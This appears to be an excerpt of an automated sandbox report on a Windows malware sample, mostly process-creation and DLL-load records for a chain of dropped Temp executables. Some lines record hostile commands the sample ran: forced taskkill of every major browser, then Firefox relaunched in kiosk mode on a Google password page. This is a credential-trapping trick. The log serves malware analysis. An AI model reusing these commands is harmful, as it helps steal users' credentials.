Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Process created: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe "C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe"
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe "C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe "C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe "C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2204 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bd325a87-00e5-47e5-97be-85b91655ce72} 7760 "\\.\pipe\gecko-crash-server-pipe.7760" 16c7b66d510 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4384 -parentBuildID 20230927232528 -prefsHandle 4408 -prefMapHandle 4404 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {812b1425-1beb-4690-8e96-5eb9044b2442} 7760 "\\.\pipe\gecko-crash-server-pipe.7760" 16c0d743810 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5236 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 5228 -prefMapHandle 5224 -prefsLen 33185 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c4c456b6-f245-4b72-bb46-8227423c5a93} 7760 "\\.\pipe\gecko-crash-server-pipe.7760" 16c133cf110 utility
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe "C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe "C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe "C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe "C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe "C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe "C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe "C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe "C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe"
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Process created: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe "C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe"
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Process created: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe "C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe"
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Process created: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe "C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe"
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Process created: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe "C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe"
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
